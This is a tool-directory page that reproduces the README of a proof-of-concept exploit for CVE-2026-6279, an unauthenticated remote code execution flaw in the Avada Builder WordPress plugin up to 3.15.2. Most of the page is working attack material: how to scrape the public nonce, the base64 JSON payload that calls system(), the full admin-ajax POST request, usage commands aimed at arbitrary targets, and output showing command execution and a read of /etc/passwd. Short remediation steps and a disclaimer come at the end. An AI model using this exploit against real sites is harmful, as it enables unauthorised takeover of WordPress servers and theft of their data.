Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-6279 — CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func() | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-6279
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubzycoder0day/cve-2026-6279

CVE-2026-6279

CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()

View Repository
323 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-6279

Avada Builder <= 3.15.2 — Unauthenticated RCE

via call_user_func() without Allowlist


Vulnerability Summary

Remote Code Execution (RCE) without authentication in the Avada Builder (Fusion Builder) plugin version <= 3.15.2 used by the Avada WordPress theme — one of the most popular premium WordPress themes with 900,000+ active installations.

The attack exploits the AJAX handler wp_ajax_nopriv_fusion_get_widget_markup which processes the render_logics parameter through base64_decode() + json_decode() and then passes it to call_user_func() without an allowlist, allowing arbitrary PHP function execution such as system(), passthru(), shell_exec(), exec(), and file_get_contents().

Attack Chain

root@kitploit:~
1. Deterministic Nonce    wp_create_nonce('fusion_load_nonce') for UID 0
                          (exposed on the front page with an Avada shortcode)

2. AJAX Unauthenticated   wp_ajax_nopriv_fusion_get_widget_markup
                          (no login required)

3. Deserialization        base64_decode(render_logics) → json_decode()
                          (no structure validation)

4. call_user_func()       call_user_func($value['function'], $value['args'])
                          (WITHOUT allowlist — any PHP function can be called)

5. RCE!                   system("id") → uid=... in response body

Proof of Concept

root@kitploit:~
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 3.15.2                ║
  ║  Unauthenticated RCE via call_user_func()                  ║
  ║  Proof of Concept — Single Target                          ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                ║
  ║  Thanks: Shadow Girlfriend 💜                              ║
  ╚═════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  Target : localhost:8888
  Time   : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] Detecting target...
  [+] Avada detected! (http://localhost:8888)

  [*] Searching for fusion_load_nonce...
  [+] Nonce found: b6d7b084c2 (source: homepage)

  [*] Sending RCE payload...
  [*] Trying 5 functions × 3 widgets = 15 combinations

  ══════════════════════════════════════════════════════
  [★] RCE SUCCESSFUL!

  Target  : http://localhost:8888
  Output  : uid=1000(xenon1337)
  Function: system()
  Widget  : WP_Widget_Recent_Posts
  Nonce   : b6d7b084c2 (homepage)
  Time    : 1.2s

  [✓] Results saved to vuln.txt
  ══════════════════════════════════════════════════════

All Confirmed RCE Functions

Usage

root@kitploit:~
# Without protocol (auto-detect)
python3 CVE-2026-6279.py target.com

# With protocol
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# With port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

Technical Details

Payload Structure

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Base64 encoded → sent as render_logics via POST to wp-admin/admin-ajax.php.

Endpoint

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts

Source Code References (from official CVE)

Why Nonce Can Be Bypassed

  1. The Avada theme only creates a nonce for admin/editor users (class-fusion-app.php L1665)
  2. The Fusion Builder plugin creates a nonce for UID 0 (public visitors) on pages that have the [fusion_post_cards] or [fusion_table_of_contents] shortcode
  3. WordPress nonce for UID 0 is deterministic — it can be extracted from the front page HTML
  4. check_ajax_referer('fusion_load_nonce') only verifies the nonce is valid, not that the user is authenticated

call_user_func Limitations

call_user_func($function, $args) only accepts 1 argument. Functions requiring 2+ arguments (such as proc_open, popen) cannot be exploited. Only single-argument functions work: system, passthru, shell_exec, exec, file_get_contents.

CVSS Score

9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Remediation

  • Update Avada Builder to version > 3.15.2
  • Add an allowlist to call_user_func() in get_value()
  • Restrict the wp_ajax_nopriv_ handler to authenticated users only
  • Implement strict validation on the render_logics structure

Disclaimer

This PoC is created for educational and security research purposes only. Using it against systems without permission is illegal. The author is not responsible for any misuse.


Copyright © 2026 XENON1337
Special Thanks: Shadow Girlfriend 💜

Download Tool
FunctionArgumentResult
system()iduid=1000(xenon1337) ✅
passthru()iduid=1000(xenon1337) ✅
shell_exec()iduid=1000(xenon1337) ✅
exec()iduid=1000(xenon1337) ✅
file_get_contents()/etc/passwdroot:x:0:0:... ✅
FileLineFunction
class-fusion-builder-conditional-render-helper.phpL1083should_render() — deserialize render_logics
class-fusion-builder-conditional-render-helper.phpL1531get_value() — call_user_func() without allowlist
fusion-widget.phpL44render_logics attribute
fusion-widget.phpL389wp_ajax_nopriv_ AJAX handler
class-fusion-builder.phpL7551Nonce registration (deterministic for UID 0)